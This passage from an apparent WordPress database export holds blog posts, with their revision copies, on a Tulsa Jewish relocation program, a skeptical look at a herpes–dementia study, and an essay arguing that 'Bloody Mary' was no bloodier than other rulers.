interfaith marriage, and he sputtered a bit but held his ground. In the eyes of conservative Judaism, I’m basically a bastard, which makes me a bit less well-inclined towards them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-4-112876846\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Riding a motorcycle isn’t woke; I just thought it was funny that he pointed it out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-5-112876846\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you think I’m exaggerating, I’m not. It seemed like ¾ of the Jewish people who moved to Tulsa through this program have a job at Jewish nonprofit. This leads to very strange overstaffing like a Holocaust museum on the second floor of the Jewish Federation that has two full-time curators and a Jewish elementary school that has 38 children and 11 full-time staffers. This isn’t to mention the bewildering array of George Kaiser-associated nonprofits that employ young Jews (and non-Jews, of course) in Tulsa. I swear, 8 year old Tulsans must have like 20 different afterschool programs to choose from.</p>\n<!-- /wp:paragraph -->','Something interesting is happening in Tulsa','','inherit','closed','closed','','391-revision-v1','','','2024-06-12 15:47:58','2024-06-12 15:47:58','',391,'https://trevorklee.com/?p=392',0,'revision','',0),
(393,1,'2024-06-12 15:49:40','2024-06-12 15:49:40','<!-- wp:paragraph -->\n<p>In my corner of Twitter, I frequently see science-adjacent material posted by science enthusiasts. Tweeters grab provocative graphs or abstracts from the scientific literature and post them uncritically. Then, a bunch of other reply people talk about how amazing/terrible/interesting the results are, again uncritically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s nothing wrong with this, per se, but there’s not a lot right with it either. It all goes part and parcel with Twitter as a place where our emotions are briefly and intensely aroused, then dismissed, with only a faint memory to indicate why we ever felt so strongly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, this is the most recent of these that caught my attention. It’s a graph that purports to show herpes causes dementia. It’s from a Taiwanese study that purports to show that the cumulative incidence of dementia from people with herpes is way higher than from people without. It also purports to show that treated herpes is almost as safe as being herpes-free, dementia-wise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F170563f1-42e8-4851-af37-e81a6b8fbf24_1186x1132.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F170563f1-42e8-4851-af37-e81a6b8fbf24_1186x1132.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The graph is intentionally dramatic, which is why it went semi-viral on Twitter. But, of course, science isn’t just about dramatic graphs. The data behind the graphs, and how they got that data, is also pretty darn important. So let’s dive into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, I didn’t notice until writing this blog post that the Tweeter in question, Cremieux, changed the graph from the paper. Here’s the original graph from&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5935641/\">the original paper</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe59854f1-2bde-4e42-9228-3222429c46a0_742x593.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe59854f1-2bde-4e42-9228-3222429c46a0_742x593.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Pictured: a complicated graph.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Cremieux not only took out the HSV infection line, but he also changed the y-axis from cumulative risk of dementia to cumulative incidence of dementia. However, the original graph is also confusing, and hard to understand how it comes from the data. So, let’s ignore this graph and just go straight to the data, which is the important part.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start with the obvious thing: where’s this data from? Well, it’s from the Taiwanese National Health Insurance program. They grabbed data of people who were above 50 with newly diagnosed HSV who visited the doctor at least three times for their HSV between January and December 31, 2000 (why those specific dates? Who knows!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where I have an issue, though. Herpes/HSV, as you might know, is everywhere. Probably&nbsp;<a href=\"https://academic.oup.com/jid/article/186/Supplement_1/S3/836780\">over half of the population over 50 has it</a>, and possibly over 70% in Asia. So, here’s the issue: who exactly is first getting diagnosed with herpes at age 50, and who is so bothered by their herpes at age 50+ that they’re visiting the doctor 3+ times for it?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the two issues are probably linked. We are likely talking about people with the sort of immunosuppression (or other issues) that cause someone to experience their first severe herpes outbreak when they’re 50+, and then be so bothered by it that they visit the doctor 3 more times in the same year for it. We’re not talking about healthy people, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That same Tweet thread points to&nbsp;<a href=\"https://alz-journals.onlinelibrary.wiley.com/doi/full/10.1002/trc2.12119\">similar studies in Sweden</a>&nbsp;and&nbsp;<a href=\"https://journals.lww.com/md-journal/Fulltext/2022/10140/Increased_incidence_of_dementia_following.34.aspx\">Korea</a>, but those have the same issue. Anyone who’s gone to the doctor because of herpes, especially if they’re looking for antivirals, is not representative of a typical person. Most people have herpes. Most people do not go to the doctor for it. Most people don’t get antivirals for it. So, a real analysis of this study might be something like, “People over 50+ who are unhealthy enough to have herpes that bothers them tend to get dementia”, which isn’t nearly as interesting a result.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, we still have the issue of why antiherpetic medications would bring the dementia rate down. This is especially weird because antiherpetic medications don’t prevent or cure herpes. They reduce outbreaks in most people, but, over a 5 year period,&nbsp;<a href=\"https://link.springer.com/article/10.2165/00003495-199447010-00009\">only 20% of people will be outbreak-free</a>&nbsp;for the most common anti-herpetic medication, acyclovir. For context, the Taiwanese study claims a hazard ratio of 0.031 for dementia for patients who take acyclovir for longer than 30 days. That’s a crazy risk reduction assuming these people are still having outbreaks, just less frequently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to explain this, we might take a look at the&nbsp;<a href=\"https://alz-journals.onlinelibrary.wiley.com/doi/full/10.1002/trc2.12119#trc212119-tbl-0001\">Swedish study</a>. It claims not only do people with herpes who take antiviral treatment have&nbsp;<em>lower</em>&nbsp;rates of dementia than normal people, but so do people who take antivirals and don’t even have herpes. This raises the possibility that it’s another effect of the antivirals causing the reduction in dementia risk, not the part where it cures herpes.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca75b9d5-ae0b-4375-bb9d-11a4f1043108_1366x606.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca75b9d5-ae0b-4375-bb9d-11a4f1043108_1366x606.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Sorry, this is how they did their table. It’s not my favorite.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That would be one explanation as to why a medication that only reduces outbreaks, but doesn’t cure the herpes itself, would be effective against dementia. And it’s certainly possible. Aciclovir, and all antiherpetic medications, are working on some fundamental biological mechanisms in order to inhibit herpes’s replication. These mechanisms might have some effect on dementia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, another explanation for why reducing outbreaks would decrease the risk of dementia would be to stick with an interpretation closer to that of the original study. This would be something like, “Each outbreak of herpes and the associated immune response causes a risk of permanent brain damage by mechanisms such as&nbsp;<a href=\"https://link.springer.com/article/10.1007/s13311-016-0433-7\">HSV-1 encephalitis</a>. Suppressing the outbreaks and the associated immune response decreases the risk of dementia. QED.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given the data, I don’t think there’s a good way of deciding between the two options presented above. We can either choose:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Sick people tend to get dementia, and also maybe antiherpetic medications have a side effect where they prevent dementia, or&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. People with herpes get dementia, and antiherpetic medications help prevent dementia by preventing the replication of herpes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What would solve this issue? Well, a better epidemiological study, for starters! Let’s take some inspiration on how to fix this from the best epidemiological study I’ve seen in a while, the “Epstein-Barr virus causes multiple sclerosis study”,&nbsp;<a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\">which I’ve written up before</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, in order to fix this study, we’d need to make sure that we’re not just looking at people who are getting diagnosed with herpes for the first time. We want to make sure they’re actually getting herpes for the first time. So a great way to solve this would be to have a big collection of blood samples over a long period of time (e.g. from the same military data as the EBV data) and then test all of those for herpes. Given the prevalence of herpes, a random sampling should do it, and you’ll be able to capture exactly when someone caught herpes, assuming it was after age 18. This test should be a PCR test for the actual viral DNA as well, instead of looking for antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only would that be more accurate, then we’d be able to test our hypothesis of “the immune response to herpes causes dementia”. Because, like our EBV study, we’d be able to test whether developing the antibodies to herpes is associated with dementia. If it is, that supports the idea that the immune system attacking herpes in the central nervous system causes dementia. If it’s not, then we’re going to be stuck without an obvious mechanism, unless it’s herpes itself causing dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We also might be able to stratify the level of antibodies with the risk of dementia. If we can assume that people with high levels of antibodies are actively fighting herpes, and if those people then are more likely to get dementia, we’ll get a pretty clear story on what’s happening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, finally, we’d finally be able to say “herpes causes dementia, and all of us should get on antiherpetic medication when we get herpes”. But until then…eh? I’m not convinced.</p>\n<!-- /wp:paragraph -->','Does herpes cause dementia? Maybe, but I\'m not convinced.','','publish','closed','closed','','does-herpes-cause-dementia-maybe-but-im-not-convinced','','','2024-06-12 15:49:40','2024-06-12 15:49:40','',0,'https://trevorklee.com/?page_id=393',0,'page','',0),
(394,1,'2024-06-12 15:49:40','2024-06-12 15:49:40','<!-- wp:paragraph -->\n<p>In my corner of Twitter, I frequently see science-adjacent material posted by science enthusiasts. Tweeters grab provocative graphs or abstracts from the scientific literature and post them uncritically. Then, a bunch of other reply people talk about how amazing/terrible/interesting the results are, again uncritically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s nothing wrong with this, per se, but there’s not a lot right with it either. It all goes part and parcel with Twitter as a place where our emotions are briefly and intensely aroused, then dismissed, with only a faint memory to indicate why we ever felt so strongly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, this is the most recent of these that caught my attention. It’s a graph that purports to show herpes causes dementia. It’s from a Taiwanese study that purports to show that the cumulative incidence of dementia from people with herpes is way higher than from people without. It also purports to show that treated herpes is almost as safe as being herpes-free, dementia-wise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F170563f1-42e8-4851-af37-e81a6b8fbf24_1186x1132.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F170563f1-42e8-4851-af37-e81a6b8fbf24_1186x1132.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The graph is intentionally dramatic, which is why it went semi-viral on Twitter. But, of course, science isn’t just about dramatic graphs. The data behind the graphs, and how they got that data, is also pretty darn important. So let’s dive into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, I didn’t notice until writing this blog post that the Tweeter in question, Cremieux, changed the graph from the paper. Here’s the original graph from&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5935641/\">the original paper</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe59854f1-2bde-4e42-9228-3222429c46a0_742x593.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe59854f1-2bde-4e42-9228-3222429c46a0_742x593.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Pictured: a complicated graph.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Cremieux not only took out the HSV infection line, but he also changed the y-axis from cumulative risk of dementia to cumulative incidence of dementia. However, the original graph is also confusing, and hard to understand how it comes from the data. So, let’s ignore this graph and just go straight to the data, which is the important part.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start with the obvious thing: where’s this data from? Well, it’s from the Taiwanese National Health Insurance program. They grabbed data of people who were above 50 with newly diagnosed HSV who visited the doctor at least three times for their HSV between January and December 31, 2000 (why those specific dates? Who knows!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where I have an issue, though. Herpes/HSV, as you might know, is everywhere. Probably&nbsp;<a href=\"https://academic.oup.com/jid/article/186/Supplement_1/S3/836780\">over half of the population over 50 has it</a>, and possibly over 70% in Asia. So, here’s the issue: who exactly is first getting diagnosed with herpes at age 50, and who is so bothered by their herpes at age 50+ that they’re visiting the doctor 3+ times for it?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the two issues are probably linked. We are likely talking about people with the sort of immunosuppression (or other issues) that cause someone to experience their first severe herpes outbreak when they’re 50+, and then be so bothered by it that they visit the doctor 3 more times in the same year for it. We’re not talking about healthy people, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That same Tweet thread points to&nbsp;<a href=\"https://alz-journals.onlinelibrary.wiley.com/doi/full/10.1002/trc2.12119\">similar studies in Sweden</a>&nbsp;and&nbsp;<a href=\"https://journals.lww.com/md-journal/Fulltext/2022/10140/Increased_incidence_of_dementia_following.34.aspx\">Korea</a>, but those have the same issue. Anyone who’s gone to the doctor because of herpes, especially if they’re looking for antivirals, is not representative of a typical person. Most people have herpes. Most people do not go to the doctor for it. Most people don’t get antivirals for it. So, a real analysis of this study might be something like, “People over 50+ who are unhealthy enough to have herpes that bothers them tend to get dementia”, which isn’t nearly as interesting a result.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, we still have the issue of why antiherpetic medications would bring the dementia rate down. This is especially weird because antiherpetic medications don’t prevent or cure herpes. They reduce outbreaks in most people, but, over a 5 year period,&nbsp;<a href=\"https://link.springer.com/article/10.2165/00003495-199447010-00009\">only 20% of people will be outbreak-free</a>&nbsp;for the most common anti-herpetic medication, acyclovir. For context, the Taiwanese study claims a hazard ratio of 0.031 for dementia for patients who take acyclovir for longer than 30 days. That’s a crazy risk reduction assuming these people are still having outbreaks, just less frequently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to explain this, we might take a look at the&nbsp;<a href=\"https://alz-journals.onlinelibrary.wiley.com/doi/full/10.1002/trc2.12119#trc212119-tbl-0001\">Swedish study</a>. It claims not only do people with herpes who take antiviral treatment have&nbsp;<em>lower</em>&nbsp;rates of dementia than normal people, but so do people who take antivirals and don’t even have herpes. This raises the possibility that it’s another effect of the antivirals causing the reduction in dementia risk, not the part where it cures herpes.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca75b9d5-ae0b-4375-bb9d-11a4f1043108_1366x606.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fca75b9d5-ae0b-4375-bb9d-11a4f1043108_1366x606.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Sorry, this is how they did their table. It’s not my favorite.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That would be one explanation as to why a medication that only reduces outbreaks, but doesn’t cure the herpes itself, would be effective against dementia. And it’s certainly possible. Aciclovir, and all antiherpetic medications, are working on some fundamental biological mechanisms in order to inhibit herpes’s replication. These mechanisms might have some effect on dementia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, another explanation for why reducing outbreaks would decrease the risk of dementia would be to stick with an interpretation closer to that of the original study. This would be something like, “Each outbreak of herpes and the associated immune response causes a risk of permanent brain damage by mechanisms such as&nbsp;<a href=\"https://link.springer.com/article/10.1007/s13311-016-0433-7\">HSV-1 encephalitis</a>. Suppressing the outbreaks and the associated immune response decreases the risk of dementia. QED.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given the data, I don’t think there’s a good way of deciding between the two options presented above. We can either choose:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Sick people tend to get dementia, and also maybe antiherpetic medications have a side effect where they prevent dementia, or&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. People with herpes get dementia, and antiherpetic medications help prevent dementia by preventing the replication of herpes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What would solve this issue? Well, a better epidemiological study, for starters! Let’s take some inspiration on how to fix this from the best epidemiological study I’ve seen in a while, the “Epstein-Barr virus causes multiple sclerosis study”,&nbsp;<a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\">which I’ve written up before</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, in order to fix this study, we’d need to make sure that we’re not just looking at people who are getting diagnosed with herpes for the first time. We want to make sure they’re actually getting herpes for the first time. So a great way to solve this would be to have a big collection of blood samples over a long period of time (e.g. from the same military data as the EBV data) and then test all of those for herpes. Given the prevalence of herpes, a random sampling should do it, and you’ll be able to capture exactly when someone caught herpes, assuming it was after age 18. This test should be a PCR test for the actual viral DNA as well, instead of looking for antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only would that be more accurate, then we’d be able to test our hypothesis of “the immune response to herpes causes dementia”. Because, like our EBV study, we’d be able to test whether developing the antibodies to herpes is associated with dementia. If it is, that supports the idea that the immune system attacking herpes in the central nervous system causes dementia. If it’s not, then we’re going to be stuck without an obvious mechanism, unless it’s herpes itself causing dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We also might be able to stratify the level of antibodies with the risk of dementia. If we can assume that people with high levels of antibodies are actively fighting herpes, and if those people then are more likely to get dementia, we’ll get a pretty clear story on what’s happening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, finally, we’d finally be able to say “herpes causes dementia, and all of us should get on antiherpetic medication when we get herpes”. But until then…eh? I’m not convinced.</p>\n<!-- /wp:paragraph -->','Does herpes cause dementia? Maybe, but I\'m not convinced.','','inherit','closed','closed','','393-revision-v1','','','2024-06-12 15:49:40','2024-06-12 15:49:40','',393,'https://trevorklee.com/?p=394',0,'revision','',0),
(395,1,'2024-06-12 15:50:32','2024-06-12 15:50:32','<!-- wp:paragraph -->\n<p>Queen Elizabeth I was Queen of England and Ireland from 1558 to 1603. She’s remembered today mostly for two competing sobriquets: her own, “the Virgin Queen”, and her sister’s, “Bloody Mary”. Both of these sobriquets are misleading.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first is a simple change of definition. Queen Elizabeth was the Virgin Queen because she never married, not because she never had sex. Nobody in 16th century England was going around publicly speculating about whether Queen Elizabeth had sex with anyone, at least not anyone who wanted to keep their head<a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-1-122732222\">1</a>. Her being unmarried was much more important, not least of which because it left her simultaneously the head of the English empire and a prize to be won. The idea of separating out sex and marriage (i.e. being a virgin and being unmarried being two separate things) is more of a modern concern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second sobriquet is more subtly misleading. Bloody Mary was named that because she killed 280 Protestants in an attempt to reverse the Reformation, and turn England Catholic again. This is probably what you’d expect from someone called “Bloody”, so you might be wondering why this is misleading at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, it’s less because of who this was applied to, and more because of who it wasn’t applied to: anyone else. Take Elizabeth, for example. Elizabeth had a lot of blood on her hands. Elizabeth starved an estimated 30,000 people to death in her scorched earth war against the rebellious Irish peasants. Or, take her predecessor, Edward VI, who killed 3000 peasants and hanged the rest for the crime of not wanting their common land to be fenced off. Both of them killed a fair number of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Irish that Elizabeth killed were Catholic. The peasants that Edward VI killed were Protestant. Neither of them were ever called bloody, either in their own time or in ours. They weren’t called bloody because being bloody only applies to rulers when they kill important people. The people that Elizabeth and Edward killed were, by and large, poor, nameless peasants<a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-2-122732222\">2</a>, and killing a poor, nameless peasant isn’t considered a heinous crime in the same way that killing someone with a Wikipedia page is, especially if you yourself have a Wikipedia page.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m being somewhat facetious here, but I think there’s something to this, even in the present day. Take, for example, the “conspiracy theory” that Bill and Hillary Clinton have had people killed for political reasons. Now, if you look this up on Wikipedia, it’ll tell you that this is false, because there’s no proof that Bill or Hillary ever killed any of their political aides.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s a red herring. I doubt Bill and Hillary have ever killed any of their political aides, but I have zero doubt they’ve killed people for political reasons. It’s a matter of public record. For example, Bill Clinton sent out American soldiers to bomb Iraq for 4 days, without a declaration of war or even a valid pretext for war, as a distraction from his impeachment hearings.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These bombings killed or wounded somewhere between 242 (according to the Iraqis) and 1400 (according to the Americans) Iraqi “military personnel”, which, by definition, includes the janitors who swept the floors of Iraqi bases. These bombings accomplished nothing but interrupting television proceedings of Bill Clinton’s impeachment. In other words, they were entirely for political reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, somehow, we forget about those people. That’s because killing anonymous “military personnel” is ok. It’s ok in the same way that “collateral damage” in George Bush’s war in Iraq was ok, or Obama and Trump’s “mowing of the grass” by drone striking suspicious trucks in Pakistan and Yemen was ok. Rulers, throughout history, have been considered tyrants if they oppress or kill important people, but killing the nameless has never a tyrant made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s some part of me that wants to blame this on the West specifically or the type of people who tend to end up as rulers, or even formal systems of government. But I think there’s also something more innate to human nature at work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been replaying&nbsp;<em>Fallout: New Vegas</em>&nbsp;recently. For those of you who aren’t gamers, it’s a videogame in which you’re thrust into a post-apocalyptic future, one in which the Soviets and Americans successfully nuclear bombed each other into oblivion and the remnants of humanity are left to rebuild civilization after the fallout (hence the name).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The post-apocalyptic world you’re thrust into is alternately grim and grimly funny, sometimes grounded in bloody reality and sometimes featuring negotiations with rusty sex robots. Most importantly, however, it puts the idea of player choice at the front and center of every event. You can save the wasteland, take over the wasteland, impose peaceful order on the wasteland, cut a bloody swathe across the wasteland, or any combination of the above.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This emphasis on player choice is pretty standard for a roleplaying game.&nbsp;<em>Fallout: New Vegas</em>&nbsp;is just an exemplar and the game that happens to be top of my mind at the moment. You can play whatever role you’d like, including a mustache-twirling villain who launches nukes on innocent cities just for the fun of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, at least, I assume you can, as the game gives you the option for doing so. I actually never manage to be that evil. Whenever the game presents me with an ethical dilemma, I almost always pick the one that seems the most good. Even when the game’s villain offers me thousands of bottle caps (the post-apocalyptic currency) to betray my friends, I still can’t quite bring myself to pick that option.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I have zero qualms about being “evil” in the game outside of ethical dilemmas. If an unnamed character with one voice line has a cool gun I want, I’ll kill them when nobody is looking and take the gun. Or, if someone has some very precious item in their house, I’ll steal it from right under their nose and not think twice about it, even as the game pops up dialogues telling me I’m losing karma and becoming known as a thug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s just hard for me to take that sort of evil seriously. These unnamed NPCs and people with items in their house that they have not been programmed to use just don’t seem like real people to me. Whatever empathy meter in my head that makes it impossible for me to participate in a digital Milgram experiment doesn’t register for videogame characters that I can’t have an emotional connection with before or after their death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s maybe what it was like for Queen Elizabeth ordering the deaths of peasants, or Bill Clinton ordering the death of the dishwasher for the Iraqi army mess hall, or Barack Obama ordering the drone strike of a 14 year old son of a terrorist. They didn’t hear from them before they killed them, and they didn’t hear from them after, so it didn’t seem real either way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So Bloody Mary is bloody for killing the archbishop of Canterbury even after he publicly converted to Catholicism. Mohammed Bin Salman is “Mohammed Bone Saw” for ordering the assassination of a journalist in an embassy. The people they killed had voices before they died, and those voices echoed after they died, and so killing them was a crime. But killing the voiceless is just hard to empathize with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-anchor-1-122732222\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was a popular topic for private speculation among her courtiers, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-anchor-2-122732222\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nameless to history, not to each other, presumably. Similarly, I assume the survivors of these massacres cursed these rulers but never wrote it down in history books.</p>\n<!-- /wp:paragraph -->','Bloody Mary was not especially bloody','','publish','closed','closed','','bloody-mary-was-not-especially-bloody','','','2024-06-12 15:50:32','2024-06-12 15:50:32','',0,'https://trevorklee.com/?page_id=395',0,'page','',0),
(396,1,'2024-06-12 15:50:32','2024-06-12 15:50:32','<!-- wp:paragraph -->\n<p>Queen Elizabeth I was Queen of England and Ireland from 1558 to 1603. She’s remembered today mostly for two competing sobriquets: her own, “the Virgin Queen”, and her sister’s, “Bloody Mary”. Both of these sobriquets are misleading.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first is a simple change of definition. Queen Elizabeth was the Virgin Queen because she never married, not because she never had sex. Nobody in 16th century England was going around publicly speculating about whether Queen Elizabeth had sex with anyone, at least not anyone who wanted to keep their head<a href=\"https://trevorklee.substack.com/p/bloody-mary-was-not-exceptionally#footnote-1-122732222\">1</a>. Her being unmarried was much more important, not least of which because it left her simultaneously the head of the English empire and a prize to be won. The idea of separating out sex and marriage (i.e. being a virgin and being unmarried being two separate things) is more of a modern concern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second sobriquet is more subtly misleading. Bloody Mary was named that because she killed 280 